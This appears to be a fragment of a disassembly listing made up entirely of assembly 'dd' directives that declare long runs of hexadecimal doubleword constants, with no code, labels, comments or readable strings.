		dd 8E97BD0h, 1CEC614Bh,	834849DEh, 0A4EFD5A3h, 9DC85EC1h
		dd 0D1ADF7F7h, 7B68C14Ah, 2C326A32h, 77596AA4h,	6DEA7968h
		dd 0E15B4C7Ch, 32D484E5h, 7495E52Fh, 0B104E79Fh, 0D4CA88CFh
		dd 6AA139D1h, 2813218Bh, 273DA1D3h, 21974F96h, 0C36187B1h
		dd 140D627Ah, 44CDD22h,	81CAE254h, 0E30EE902h, 4B08055h
		dd 2B6C4172h, 0AFA4E3B8h, 585C1EDCh, 6F166D53h,	80C00588h
		dd 8682BFCFh, 0C9514BEAh, 827071EDh, 0D6F6809Ch, 72F1863Eh
		dd 0BFFA957Fh, 0F802C1ECh, 2C59C828h, 69105011h, 6D82317Ah
		dd 0BA71BC68h, 4027B081h, 0E805249h, 5E755CE0h,	5A17CE0Dh
		dd 0D101187Ah, 1C492FB2h, 0E250724h, 41566DCFh,	7C7A64A0h
		dd 2D244062h, 2E0246A4h, 2726CE9h, 0ABEBE4B2h, 9E46E299h
		dd 0F649860Dh, 0C59D85D5h, 508333E3h, 0C38215B0h, 8B491459h
		dd 0F7940781h, 0D6C82FB8h, 142F5716h, 589A1813h, 559C092Dh
		dd 8C0065BAh, 6912BCFh,	62B3519Dh, 0AD057BAAh, 5CA6EC2h
		dd 0F641A45Bh, 857B7741h, 0C91EA0Bh, 0B22EC301h, 10BF4816h
		dd 0DD4065FCh, 6A6358A6h, 5721BF80h, 0EE01813Ah, 54770C98h
		dd 57C6464Eh, 0B70D3EC0h, 1C8BBA80h, 5F299248h,	624108D3h
		dd 75464918h, 36E20F78h, 20C4F131h, 9FF3ABAEh, 973DD297h
		dd 0E9EC185Dh, 694CBA42h, 857AFE5Fh, 579184B5h,	95C6530Eh
		dd 0BF825BE8h, 0DF5EEE75h, 88E7815Dh, 9D6E8E60h, 0B60A8EEh
		dd 4F06EFC1h, 0C781597Ch, 34D0CEB4h, 911EC16Ah,	71436058h
		dd 1F6D4C07h, 5299F2E9h, 0FB9748A2h, 4928B990h,	71D09D9Ch
		dd 7695C1F2h, 801FD087h, 0A7232095h, 531116Ah, 0EE955DB9h
		dd 0FC12EECEh, 0A28008h, 2569C1BBh, 7ABF297Dh, 0D633F86Dh
		dd 0C453AB8Ah, 2BFC7DFAh, 0AAD2AFB2h, 47E99C60h, 9C1397C6h
		dd 8C1E5FDCh, 490530EFh, 0BBEFBEF2h, 6DC86AA7h,	0E8141DC7h
		dd 0D98280h, 30C4162Dh,	5051FB01h, 30E908B9h, 73DB5CFEh
		dd 1E602162h, 0DE9D8F30h, 0FCD99DE1h, 4820488h,	0C0EAD15Bh
		dd 0C60D18F8h, 0E8F43D5Eh, 725F4CFBh, 4DD8CB02h, 87642A8h
		dd 0C38CF300h, 4AE98693h, 0FE9F92EBh, 0E4CCAD84h, 56950144h
		dd 595A0B46h, 0E3C3A65Ch, 0D52748E2h, 70C050Fh,	0B364127Fh
		dd 4001924Ah, 40234151h, 9EF6B43Ah, 872DFC5Fh, 923AE4F5h
		dd 0F840E58Dh, 0A77D035Ah, 1963CAC1h, 0BC726BF4h, 930F8A03h
		dd 0D832434Bh, 60014D85h, 8254D893h, 0BFE94577h, 0C5EF9898h
		dd 0D12F8EEh, 7B045F4h,	4F74FE52h, 0DEACECF9h, 94B2674Bh
		dd 396DB4FFh, 808E097h,	281EF167h, 9F6D93FBh, 680896CAh
		dd 0E91D1B4Bh, 18A52D6Ch, 0E0442CA8h, 73D2F3F0h, 1506259Ch
		dd 63020613h, 0CE9CCFEh, 2DA4D28Fh, 1213676Fh, 547DB5F1h
		dd 0DBF1AEB0h, 9CF412E8h, 611097EEh, 4952A1h, 1255F581h
		dd 0F873BCCFh, 8B011757h, 0EBB335EFh, 2D4A09CBh, 0CFA24C31h
		dd 0E000479Eh, 0E925EB48h, 0BDC84BA1h, 0DFE7D2DFh, 0C8C74B5Bh
		dd 79203FCCh, 0B85C5EA3h, 0FB404E9h, 40FB3CCEh,	7C5FEB6Eh
		dd 0DD8B1DA9h, 0CA680802h, 0AA195F7Eh, 5710EBE3h, 0E45FE59Eh
		dd 995C3DDh, 7DCF5FE5h,	8F546D0Ah, 535568C1h, 41D0AD58h
		dd 0BC003BDEh, 9820A206h, 2DF55E01h, 3247AB5h, 5DA0DC2h
		dd 7F2BA058h, 4E5FBB70h, 62834F82h, 0C059884Ah,	0E45DF60Eh
		dd 28C10176h, 0B5E35C9Ah, 287A4BE8h, 760A05F0h,	76FB9D5Eh
		dd 4880916Bh, 0B3805BC7h, 0BC4084B6h, 7BD1C212h, 82B75321h
		dd 0B78994FCh, 5544DB20h, 8FD61A1Bh, 0A04A5B1h,	0FCA6AF81h
		dd 0E1F76600h, 780748B7h, 0D2F4A8C3h, 1093DE3Ch, 4D2D0F47h
		dd 4F050D7Eh, 68560700h, 0E3083E41h, 95A6ACD1h,	2F574345h
		dd 0C48527D2h, 0EC080B6h, 0D24044E9h, 8AF74E01h, 43C54B29h
		dd 0AC113E9h, 4C3F4768h, 527550F4h, 3DC07497h, 3077C225h
		dd 0D2C51E57h, 513006D1h, 0F53899FBh, 21B16E3h,	1BC537A4h
		dd 0C8074CBh, 0A413C7F8h, 0DE186560h, 3275BA8Fh, 49F0EA31h
		dd 39F957h, 8F555AD5h, 79CB3842h, 0CFC3515Dh, 6F5D8972h
		dd 0E7AA3CC4h, 93E11074h, 10405D27h, 30BF3E68h,	80B95526h
		dd 4597EE29h, 0DFD42FDBh, 165DE98Bh, 4EB81F5h, 64251412h
		dd 0C3ABA485h, 13FCED44h, 0A37F3845h, 167E2EF3h, 216C81E5h
		dd 25AEF86h, 0C833D659h, 99D725D3h, 9F928065h, 0E96CD121h
		dd 3DDA6573h, 802779AFh, 6BA8F4DBh, 27684700h, 0D89F72EAh
		dd 876E0266h, 0D319E91Dh, 76C26A54h, 15964502h,	0BE03B1A1h
		dd 2D802450h, 8499EED1h, 45626877h, 0EA5130EFh,	0A5AC36Bh
		dd 4A69BAB1h, 0E9F1F6B0h, 3A19955h, 6EC1EEB8h, 21109775h
		dd 0D1BE6018h, 0CB3CB815h, 96DD5FF8h, 52B80A4Dh, 0B9D95477h
		dd 3CF31A25h, 2D00EFA3h, 0BB053C6Fh, 9C55C89h, 0C1904820h
		dd 0C1EEF734h, 688EC0AFh, 36A40734h, 4B258D86h,	547F3A6Ah
		dd 6072C9F6h, 855687Ch,	2CD86A23h, 0B98A37E9h, 0C6BE1A83h
		dd 0E0EA63A3h, 8EA4455Bh, 0B900FBCEh, 0EF3D7256h, 55961A20h
		dd 7E96121h, 12C6BDDCh,	136164Ch, 895EF9C5h, 0D5E5D810h
		dd 304812F6h, 0D1041EDAh, 80ED8F7Dh, 0B56920h, 0CC5D8ED6h
		dd 0DDF72E08h, 41B20263h, 3961694Ah, 0CFE305E5h, 7153D927h
		dd 0DC89882Eh, 5B3146F4h, 5F634657h, 0D3BC1B79h, 42D3F62Fh
		dd 0C55F456Ch, 0C5029001h, 32BE9C70h, 455552EDh, 50E904C7h
		dd 2B8D2ADh, 0E98B19C5h, 0AF7FC818h, 95087C1Ch,	5C891242h
		dd 369D92F8h, 1E6ABD71h, 2F7F1260h, 70590625h, 888CC1DAh
		dd 0E123DD76h, 447FD625h, 0A3F20E4Fh, 0D00FA02Ch, 0CC9FA8C4h
		dd 1800B30Dh, 0F380D3F6h, 20E950A5h, 5E5C62EBh,	0A75816h
		dd 2E0D550Eh, 53B0B7Eh,	9C57E22Dh, 9599C426h, 78DDAE33h
		dd 0A0F3AB11h, 92C78000h, 87178295h, 0FE5905DBh, 49512D0Fh
		dd 0B124C039h, 0B626C753h, 56B8B287h, 9C7554ABh, 3172AFBh
		dd 0F5C74FD6h, 7FB974A1h, 0AEBF444h, 35883677h,	0A8DFB9D3h
		dd 0F505B25Eh, 2E2D1369h, 4C16A7E9h, 0D2AAED6Eh, 74B7E9ACh
		dd 84500BDDh, 0E6442B92h, 1E8816FEh, 60444137h,	488A56ADh
		dd 817ECCAAh, 2B8B3F54h, 80D4EBD2h, 1EADB08h, 74E454BFh
		dd 2CC02FB4h, 3C131C2Dh, 0F814311Bh, 0B3580705h, 9657B425h
		dd 0B8E3A0C8h, 1FAC246Dh, 483C0EDDh, 0FBFD0456h, 105814A8h
		dd 3016CC6Ah, 9E400ED8h, 854BF8BEh, 0FB98BAF0h,	89DF41C6h
		dd 10324228h, 2514B312h, 2DFEDD88h, 24C6722Dh, 0BDB6D6E9h
		dd 7AD1727Fh, 8A9E2AC8h, 12FE229Dh, 10A7244Bh, 348C96D0h
		dd 3D0A682Ah, 0B24EB971h, 28451F8Eh, 0B6580014h, 5F6862FEh
		dd 1AE02454h, 0F7A3475Eh, 61193E6Bh, 34CE6A51h,	0EEDC1F92h
		dd 0D985493Eh, 0D6DFC35Eh, 8076B1E9h, 6140B9EFh, 0FC4964A5h
		dd 152E6D9h, 6932FEBAh,	70D1215Bh, 0EC26E958h, 76A7C6A9h
		dd 0C7CD4424h, 0D9A5D8C8h, 45502DF2h, 7BBF858Eh, 0D5C8CFECh
		dd 42100026h, 98B6F358h, 5F403809h, 97487727h, 0C60470ACh
		dd 51FEE943h, 68576609h
		dd 975CAABAh, 6DF20C7Eh, 0F9F709DBh, 0B0755529h, 11F358Bh
		dd 0EA81408Fh, 6F99FDDEh, 2153B300h, 145615F5h,	0FE14FABEh
		dd 65F32915h, 887F01C9h, 7A2D1360h, 4DA02DDBh, 0B7F0B6E8h
		dd 0CBB4D9B5h, 4B4825DFh, 0B6689542h, 584C752Ah, 7420CA41h
		dd 0D14CB542h, 0D0A75C95h, 4A836B8Eh, 0AE49BB9Ch, 0B8B4A0ABh
		dd 444F14h, 6C970D05h, 0D1687A95h, 103E3252h, 0F60964FAh
		dd 63022CD8h, 0CFE358C5h, 41CFE883h, 6BF5B9E9h,	45E1DDC9h
		dd 0A94F317Ch, 41DB853Dh, 14A2C1EDh, 60EEE205h,	5EE9CAAAh
		dd 618C725Eh, 0F8B85A6Fh, 4B68C2A0h, 3CD5D12Fh,	34624E13h
		dd 0B9D8AF8Ch, 0B2B15F46h, 0FED68998h, 0CB1A2599h, 2F04167Fh
		dd 0EBB84179h, 6A890CFEh, 38A81FA6h, 5780D14Eh,	0A6680095h
		dd 46E69403h, 80AAE81h,	8A126B47h, 1E20CDA8h, 0E3524E4Fh
		dd 0C289161Bh, 967BE9CAh, 924D3040h, 53C9A19h, 7F12859h
		dd 0F4295D25h, 446D690Eh, 0E6695E2Fh, 524ED102h, 2DB6B8Dh
		dd 7A74EA0Eh, 0AC5F3170h, 1BD88ECh, 0F3437E7h, 32F949E9h
		dd 60407EF5h, 1F0425ACh, 70ED77A2h, 0A400F709h,	0B2D23540h
		dd 7C18123Fh, 12754649h, 94F459CBh, 0BBBD40B1h,	6D7ABE00h
		dd 0DBF38169h, 52200B73h, 0D286DD29h, 0D75B5743h, 9793A91Eh
		dd 0C0D7EB0h, 289E2F34h, 4D1618C4h, 72FC7DE7h, 5820204Bh
		dd 0BFCB0CE9h, 62AC045Eh, 0E5C12906h, 54365A95h, 17B991C0h
		dd 0BAA46C20h, 7F641901h, 806B2246h, 0B5179A63h, 0F1D4D4DEh
		dd 63A28489h, 8B95018h,	37121E4Eh, 4CC43814h, 5ECA0528h
		dd 0C4EBCD98h, 3F44EDD8h, 6CB99752h, 0E91B60BAh, 3492AFF6h
		dd 0F0AC22Ah, 0F3F11BA2h, 656281EAh, 1B34684h, 0C8BE0F5Ch
		dd 7F6D1368h, 35E83BD9h, 628DBC76h, 5C04956Fh, 0D93FB3AAh
		dd 12FC688Ah, 5F183B5Eh, 2D306A15h, 2DF1FC51h, 5DD96FEDh
		dd 4A6D9241h, 0F94A796Dh, 16582DA2h, 2757FE7Ch,	0BC5653D6h
		dd 29590802h, 481A7D6Ch, 9C5D1107h, 440BD570h, 0F4012364h
		dd 200A48B2h, 76D112B1h, 0A464BB8Dh, 0E93B20EEh, 71953F74h
		dd 589B8CD4h, 9C12EBADh, 17EE9167h, 0E94A9196h,	3B0575AEh
		dd 0FAF144D8h, 66DDA9B8h, 38F2FB41h, 0AEC30A84h, 41EB0305h
		dd 0AE29FB45h, 5611C91Bh, 0AC40A204h, 83C7A7D2h, 0CA8BF4D9h
		dd 0BBC01735h, 24AA0113h, 59FBC2E0h, 22AFBF81h,	0E07820C4h
		dd 7224F14Fh, 8AD7E095h, 0AC137694h, 0D05978E2h, 0C32916F5h
		dd 0C5590604h, 4521E013h, 0CAA4DEA0h, 0F2B4927h, 61C33C73h
		dd 0CA5BB531h, 8A6CD5C8h, 8868A2C2h, 62B5DC4Bh,	2002F514h
		dd 0CAF5E3F9h, 9DC5F026h, 0D260D242h, 8A5FA7ACh, 1DA859C1h
		dd 0FF295F20h, 1A1933Ch, 31F0h,	0EA36E913h, 57411CB5h
		dd 0D32AAC51h, 14AE180h, 0CAC06FADh, 0C5557F05h, 0C1768D08h
		dd 885D0CA6h, 83C8608h,	0D0C14B7h, 40A828A1h, 0B2637D8Bh
		dd 10F25210h, 10E1FB08h, 1C19B92Bh, 0C782280Bh,	0B4DF081Bh
		dd 0C316D518h, 8B5DA0Ch, 207C62D3h, 0F002EC93h,	27E403A7h
		dd 292C1831h, 888BB3Dh,	0A008593Fh, 99BC1B48h, 650269BAh
		dd 0C968064Dh, 0F2D43051h, 83860E3h, 45186244h,	426603DAh
		dd 7B771010h, 0A1B94631h, 51108862h, 838D0C70h,	18C68909h
		dd 3108C33Eh, 14186CF2h, 0B1089809h, 0C48B5A69h, 4958E08h
		dd 5B0687FEh, 386A2863h, 18310D09h, 898ED03h, 47B97919h
		dd 519008C6h, 54993128h, 8CF10A08h, 8775018h, 1F540A2h
		dd 0A8E36E40h, 0A95E78D0h, 0F501B7DCh, 800888C5h, 911B0C4Eh
		dd 7865CD20h, 53B04A08h, 8B0632Eh, 181036B7h, 0A73172E8h
		dd 11AFE61h, 0BC53A30Bh, 980810BEh, 12AD18EFh, 0C406D120h
		dd 674DE08h, 20207302h,	5F201441h, 66113192h, 8DAE0C18h
		dd 18407C08h, 0D20180EDh, 301F01E3h, 8C41B301h,	184A8A08h
		dd 0B03D406Fh, 62F48240h, 3B8E0898h, 6662E02h, 60202986h
		dd 15103756h, 580CD8F9h, 40C81077h, 0B663F0A6h,	182C5308h
		dd 8204718h, 0F9811DC6h, 0FB4E988h, 0D32AD711h,	6BE333E0h
		dd 6118CC10h, 0BE0853E4h, 0B2888095h, 9208AB80h, 492D6874h
		dd 88D08CCCh, 9A630720h, 185F0408h, 846A018h, 18C656EBh
		dd 49087628h, 0B118144Eh, 879F104Bh, 0CDEB7A80h, 0EF08F469h
		dd 7509A918h, 8096C508h, 20C46D41h, 62062EE1h, 0E63110D8h
		dd 4F108F9h, 80B09C24h,	188086B6h, 5D08C40Dh, 0DC7C0A3Ah
		dd 0CC88B88h, 608FBD1h,	628D7840h, 50732852h, 27D7602h
		dd 0B002FAADh, 83DD02C7h, 88532C69h, 12D79030h,	6E2C4AA0h
		dd 5BA78DE0h, 17DC108h,	288C9ECFh, 32088DECh, 63185962h
		dd 0EC230796h, 9092AA10h, 2071D720h, 9F314F12h,	2AAF1813h
		dd 26CC452h, 204868A3h,	0E84CFC9Ch, 815F80A4h, 0CF4358EFh
		dd 881CC7F7h, 3B004070h, 2752C47h, 891331EBh, 0BDA7B90Eh
		dd 0DC483Dh, 49408F44h,	2C75C90Bh, 38268BF7h, 3DE09F4h
		dd 6272B9F0h, 6C0333Ch,	304FB10Fh, 74AC5A2Ch, 0C8D1BA80h
		dd 14A73C93h, 2EC3B187h, 8957DA0Bh, 9FA245BFh, 0BD4A7A54h
		dd 99ABA561h, 8B816BFFh, 0FA2CB3D8h, 0ACD0D2DDh, 0E334D8F7h
		dd 43B4007Ch, 0C640F781h, 314E622Dh, 0D305CCBDh, 0C83C7726h
		dd 8128EE6Bh, 8CBC0BC6h, 4DD2E986h, 61CD3893h, 0E15E5793h
		dd 69F16ECFh, 97328641h, 0ADEC5B59h, 0E2D582B9h, 7CC8F8ADh
		dd 0FAB53503h, 5F1EB918h, 0E8ECE632h, 0E7BE23h,	816DD13Dh
		dd 0A9437AE6h, 0BA523F01h, 4FCB0A7Ch, 161BC484h, 99C381EEh
		dd 0EF38AFEFh, 0DF6AD17h, 7F2B6841h, 94C1277Ch,	8248E44Bh
		dd 824EF25Ah, 0DC9E8076h, 903B7134h, 6CC30137h,	0A6E9D20Eh
		dd 11B92A4Ah, 21471378h, 0B9D9A101h, 0B1519A7Eh, 0AF657E0Ah
		dd 28E18C74h, 66F968C3h, 0AB1E54Ch, 2A4EE984h, 95F281A8h
		dd 6EBAF7BEh, 0CED34E1Ch, 0C64E2CBEh, 11CADF94h, 0E4B9DE16h
		dd 5BD989C1h, 3B842E21h, 84A38BFAh, 0D6E16BE9h,	85B98C6Ah
		dd 16C69F30h, 0B5178968h, 52802151h, 0E9275633h, 508D503Ah
		dd 0D8E81E49h, 0E092D32Eh, 41B5FEE4h, 0B63BDB82h, 17247ACEh
		dd 0F78311AEh, 285740D8h, 0B5B04C14h, 7521C83h,	385B0E7Ch
		dd 42E1B717h, 0F6E2E7F5h, 6B16BE19h, 0A17F097Dh, 801EE470h
		dd 7F0B3CC1h, 1D7B6856h, 1E13004Fh, 18E6ED81h, 0E9384278h
		dd 4F45C9AAh, 5074B7CCh, 405C06E6h, 90F85A8Ch, 0E6C0B7A8h
		dd 0B7530203h, 0E9FE303Dh, 1AA7C89Ah, 68120514h, 0CBCC4788h
		dd 106F6471h, 6B7FC05Dh, 126206Ah, 1E0D2BF8h, 0B2D8B3AFh
		dd 0B80CC1A1h, 6F9C61F4h, 0A26347C6h, 0E686A9C7h, 1F51B5FEh
		dd 8DB7972h, 570AFD8Dh,	13241568h, 3D3D1624h, 8299850h
		dd 3993585Ch, 919CD3F7h, 0BB538049h, 698C6E74h,	103E914h
		dd 0E4CA50D4h, 9D33FF17h, 5A6F54EBh, 14151F48h,	0B64E4539h
		dd 25E98310h, 5F4E1215h, 83661251h, 3FE95BCCh, 0F335243Eh
		dd 537E5018h, 91BCD0Dh,	0DE311AA9h, 0F26AA7FCh,	0D0195000h
		dd 9CF816Ah, 8786341h, 53B03FE8h, 98F551C0h, 986B3042h
		dd 60EB0981h, 160016CBh, 1F379372h, 3B44E918h, 0EEDA0898h
		dd 9820489Eh, 0EC43E1D2h, 53D37D38h, 518011A8h,	0DDCCD9B9h
		dd 30158248h, 98ED238Ch, 73483B24h, 67B9C500h, 6DE936D0h
		dd 3FC905Fh, 8DF1D2B7h,	0C6BFC246h, 0C28694E1h,	0E6AADFA0h
		dd 30775A05h, 9F167428h, 12C9841Bh, 0D76C649Bh,	0DEF78028h
		dd 68797567h, 8C0B7DA3h
		dd 2898DEB2h, 5980A69Fh, 5C681346h, 1ABD6021h, 0D25B563h
		dd 5296048h, 0ECB70B36h, 575214Ah, 1A945445h, 3A0F61EBh
		dd 0D5452A81h, 9195D35Dh, 7E11CDABh, 27E9398Ch,	1CE48BB6h
		dd 4651A7F0h, 0F7E03FC6h, 0F03C1D73h, 4184BE12h, 0FBAB5BDCh
		dd 78590B92h, 20750842h, 688B4E4Dh, 0E1FBE8BBh,	81649B5Dh
		dd 9819C92Dh, 1AC42E1Fh, 0F2E90704h, 0AC008ABCh, 806EB551h
		dd 0F5E658CDh, 0E84B2AB0h, 680C34B8h, 0AD5F0B7Ch, 4817F40h
		dd 0F62860EEh, 51CDC25Ch, 8D805D05h, 4C4B479Dh,	5F558244h
		dd 64058F7Bh, 25AA1AAEh, 8DDA0073h, 811D1F74h, 79EE305h
		dd 18AA4968h, 1C53F86h,	6A2E008Bh, 94BE108h, 7EC15BDDh
		dd 4D8C1DB0h, 1157A02Ah, 8BE3935Bh, 94F75425h, 209D90C4h
		dd 680206B3h, 17AF081Ah, 0A380FF58h, 40AC2D48h,	298AA212h
		dd 40020412h, 0DD7646E9h, 5F0BAEC5h, 906114BEh,	128877EFh
		dd 0AFF725BBh, 47B67121h, 4240CE9Ch, 794DF22Dh,	73F33340h
		dd 0D7808DCFh, 0C0DD62ACh, 0E93F754Eh, 1AD6462Bh, 2F92DB27h
		dd 8045F77Bh, 6643218Dh, 18699F7Eh, 31281EAEh, 411F98EEh
		dd 76847B88h, 2790121Ch, 0DE293C79h, 42EA3416h,	8E623E4Fh
		dd 0D62D6077h, 8E685D4Fh, 4C50D805h, 0C75BC046h, 9146606h
		dd 490DFF7h, 3CE64A12h,	7F4EE8D2h, 0D377238Ch, 7A2A90A1h
		dd 0BA542175h, 0E97454F4h, 943E3134h, 0F956F0BEh, 39DE3A13h
		dd 4D5025ECh, 0E96D3A49h, 7A5342AEh, 3C33AF29h,	8258C2C9h
		dd 457C2540h, 48A17540h, 6E0E66EEh, 6961F681h, 82D53102h
		dd 0A7F650D9h, 628E5AC1h, 0C1192168h, 0C1521394h, 59A756C5h
		dd 0FBA62E53h, 9967ABD7h, 0DEA2E734h, 7100B590h, 0E93A4A76h
		dd 0C7BF2047h, 3E3530h,	2256BF93h, 0C202812Ch, 79E45B09h
		dd 7E6DC150h, 9DF00DC2h, 538CF4EEh, 6B99E00Eh, 6BC84FF0h
		dd 8981F9BDh, 0A0F4E82Bh, 601CE95Eh, 8F35FC36h,	0B0773999h
		dd 679EE095h, 4BEE95EEh, 0D75A72F6h, 281BEE8Ch,	5AD2663Bh
		dd 6B10CADDh, 177DD1CCh, 0E96BC0EAh, 1BB212DAh,	82F09A98h
		dd 83861769h, 0C202E275h, 0D9B28071h, 287C9314h, 82C0CB29h
		dd 932DD108h, 344DBF5Ah, 612FEF46h, 36B98C59h, 60680E32h
		dd 8AFF1259h, 56AB9301h, 0B8A70440h, 0C0680195h, 0F3203C7Bh
		dd 0A6725B41h, 0F8FDC5E7h, 0F71476F2h, 0B35889DBh, 0E92FDD03h
		dd 0F85039EAh, 0C15F2C49h, 29F02CC1h, 5B9216A6h, 7338F7F3h
		dd 449DC4Fh, 0DB03B07h,	0E8A00F82h, 1E77B930h, 8B33D6CAh
		dd 0F7798AECh, 0DAAC48A7h, 8F4826Ch, 0F18BE0Ch,	0A5E3A5DEh
		dd 0C8A7BC47h, 886474FCh, 0CEB5DEC5h, 0D395F670h, 2FF104D1h
		dd 6F6A4D9h, 12AA361Fh,	20E5FEE5h, 0FD55A208h, 5604B394h
		dd 3771C0BEh, 0A7691981h, 7B52B77Fh, 0C6D2892Fh, 0E2012D4Dh
		dd 98C0616Ah, 80051795h, 0E8215B3Fh, 0AA0235AAh, 18C6C08Bh
		dd 5026ED6Ah, 0E5811B3Fh, 1A8F1F62h, 8D1A486h, 0F548D6C2h
		dd 51352FA3h, 0D36C0514h, 49C8AF27h, 2A4333E9h,	0AFB14D46h
		dd 0CBE63F18h, 4EF7DD10h, 9E7F5EBAh, 0C1D5B042h, 0B5A26852h
		dd 788CA9D9h, 0EEAC1CEh, 29FB6C2Eh, 5D0CA2Dh, 0F2548008h
		dd 203E3A98h, 8EE2830Eh, 679AA6Dh, 655FB736h, 0AD093232h
		dd 800EBD3Dh, 332EFBB6h, 7BE93B14h, 9DF08DD4h, 0DEECB06h
		dd 53295A4Fh, 0E1F62BD1h, 0D1E97B62h, 24301D2Eh, 0ED792897h
		dd 0CFC1B5F3h, 0DF1376A6h, 48A26DB9h, 1C190BC5h, 260C7B20h
		dd 0E60DD9h, 63172E78h,	1328015Ch, 0CA613AAEh, 0F3305859h
		dd 0CF9A9572h, 18F69400h, 30B70DE6h, 0CCB5E5C5h, 5B98582Ah
		dd 93F6C6F6h, 503ED1B2h, 17F2F35Fh, 28656Bh, 152A133Eh
		dd 48D2A304h, 9C34AA04h, 0A0C9AA47h, 9068E084h,	0A90B1F3Dh
		dd 40315EBCh, 147E45AAh, 7A0745B8h, 90E9A49h, 0E50AA4CFh
		dd 0A964D3B3h, 4D40FED1h, 0BB30C7EEh, 0F20927BEh, 9A02E8D0h
		dd 0C166A50Ah, 9C0DFE3h, 0A60258ECh, 22CF0563h,	0BE7BC1AEh
		dd 0E16AE665h, 0B40CE0BEh, 0CD0FB7A4h, 6479E145h, 0CDD71ADFh
		dd 84EDD363h, 0B44B4CCEh, 0E82E30EAh, 0AE10D759h, 0CD89550Eh
		dd 5475FD5Eh, 0B9E7C3B1h, 27D61F7Eh, 0AF46521h,	7FABCBCDh
		dd 2D793CF0h, 0FE56E60Fh, 375AE744h, 0D8296771h, 814A231h
		dd 0E9B0A8F8h, 0CFC0FF19h, 981B09E7h, 6A3BAA4Ah, 0ED01777Ah
		dd 8F47BB68h, 0B706B037h, 8784C9BDh, 8DCAEB34h,	2EC1102Ah
		dd 71CFD01h, 29883DB1h,	859167Ch, 5CC9096Bh, 4BD45D5h
		dd 0BC0C9168h, 2CEBC473h, 0E97CEE5Dh, 0EE027A52h, 130C518h
		dd 4746D544h, 3D830C82h, 0EE84BD31h, 969FAAE2h,	544382BBh
		dd 9270A562h, 0AA355800h, 531C778h, 27E8129Ch, 0F70701F1h
		dd 3A3FBB1Eh, 8127494h,	906E0409h, 2E36A76Fh, 276732Bh
		dd 17761F2Ah, 815F4157h, 95127CCh, 0FE8992B2h, 95EB6004h
		dd 3A078191h, 65C407C9h, 0BF5907ACh, 0EFE30892h, 555D5409h
		dd 52649CFh, 52201E42h,	0F2209ABh, 0A85D7960h, 932008CFh
		dd 95DDF020h, 88686101h, 0FD8D926Bh, 0F5809E80h, 9686CB27h
		dd 8E624C54h, 0D63ADDD0h, 7FA0C25Fh, 0E984DC45h, 0F994DA94h
		dd 4D79A9E8h, 2C0702A5h, 93F828A7h, 0EB06B5E2h,	7886685Fh
		dd 0B204B8Dh, 1F795C45h, 13757C1h, 0ECC4762Dh, 1DEB4049h
		dd 0BD1C2409h, 0A2011859h, 10E73D5h, 2E0EA27Bh,	9EAD7203h
		dd 4859B932h, 7F823AFDh, 1FE9208Ah, 4768D968h, 97053929h
		dd 273CDE88h, 8D02BD5Eh, 804C580Ch, 0A7F377E1h,	0CE2D16B3h
		dd 58F006Bh, 132B0839h,	0CB0E8ECh, 60F3F620h, 226F8E4Ah
		dd 0CBB83416h, 4CD27F20h, 825775Eh, 0BA6DD301h,	1449FC0Bh
		dd 0E0F6015Bh, 72D07460h, 0CB94AC6h, 5B490820h,	88B6913Dh
		dd 0BB509602h, 24E97138h, 0A6A40F7Ch, 8CA51364h, 9D00F50Ch
		dd 0B9517687h, 0EC4C1A75h, 942EE868h, 5F5760A6h, 12C1920h
		dd 3A103BD9h, 2C65BE00h, 0F08959E7h, 184072B0h,	80F040Dh
		dd 0E4057D6Bh, 0D805F7BAh, 8C2BCF25h, 3369A401h, 0B47A7D38h
		dd 0E931DD05h, 595431B1h, 0E05DA92Fh, 0E8566855h, 0E9600BC8h
		dd 35E8F016h, 1BF86B73h, 25617AF6h, 0BC32D50h, 0C43F53F9h
		dd 590702AAh, 25D74968h, 0D4AAB7B7h, 0FD82C2F3h, 44686600h
		dd 8557E963h, 519BB81h,	762C91F3h, 7C452DF0h, 12FF986Bh
		dd 287F3DE9h, 0CA256853h, 6234FC5Ch, 0C17F47C2h, 88688C24h
		dd 9E32A4Ah, 0DFE31DE9h, 0B45B17B0h, 8B5A13CBh,	0BD0D0F5Bh
		dd 42AAC3Fh, 0BE0FFC10h, 0A41A3994h, 578EA755h,	75559E82h
		dd 7659FA14h, 685600ABh, 77F37D92h, 814E0C5Eh, 891193F6h
		dd 5697F77Ah, 0A3A74367h, 75B74000h, 0F65FE780h, 35CDB0D7h
		dd 0EEE2AD89h, 4A557F2Bh, 0BD437B30h, 0B20029E6h, 8AEA80E6h
		dd 0BD933CE9h, 2841BB99h, 0CDD26E53h, 0B13A0C0Dh, 0AE802FABh
		dd 251AF56Ah, 4C5E09FEh, 7BC6E61Ch, 0BD24B4Ch, 2E2A3664h
		dd 343A7268h, 0F8B84182h, 6375D6E6h, 100148A8h,	0DB655FB9h
		dd 9DEFC103h, 683693C0h, 0C1B76B1h, 3B0E70C9h, 4309E10Ch
		dd 7611056h, 0A8A38A61h, 450C054Ah, 0C75B6D3Dh,	156AD32h
		dd 78722C96h, 99939F24h, 0EBD0780h, 1ACB0605h, 0D0AF581h
		dd 0B60B1D90h, 0A5D914Ch, 8902205Bh, 5D01E766h,	4F8B3309h
		dd 6D594900h, 88A05036h, 79259F8Bh, 8E2055E0h, 971F3ABFh
		dd 15817059h, 7F7CDFEBh, 8256EA0Bh, 0A480DD48h,	0FF64C781h
		dd 98353126h, 3CFA1F1Dh
		dd 5DEF002Dh, 0CB685256h, 22052D3Ch, 4EE059F4h,	133738F7h
		dd 0B85A5E52h, 0C6591D7Ah, 6ADC6Dh, 3E493540h, 0D0434EFh
		dd 5D0A2845h, 1BC01DC7h, 95B73D3Ch, 86DD8678h, 39F61D84h
		dd 0B23981ABh, 82FE4526h, 914459EBh, 2676349h, 80D6F65Bh
		dd 2D46F8C6h, 5348FEA8h, 0EB4A1FDEh, 0D7CD9F05h, 0B559A58Ch
		dd 4A78D3F1h, 17399B0h,	893DBE2Dh, 1E87F046h, 0A95C18CEh
		dd 3FE511D3h, 0E1DFF46Bh, 7199D0A0h, 8112EB07h,	4C944EE2h
		dd 4EA2B80h, 2480450h, 0CA416DE9h, 18593E2Ch, 0EE19B523h
		dd 5A2A73EDh, 282A54Ah,	17F25F08h, 2F256137h, 4B77260h
		dd 7C81B882h, 0BD3F714Dh, 5C2880E8h, 55781A24h,	652D720Eh
		dd 0C8C29173h, 29B95235h, 4488EE6Ah, 0FCA2AB50h, 8B1091D0h
		dd 0B0680B35h, 60D55646h, 568E5A48h, 0F67E70B7h, 84C3B7DEh
		dd 75C25F02h, 0D414A769h, 0E2E50CCDh, 124D9049h, 1BA08405h
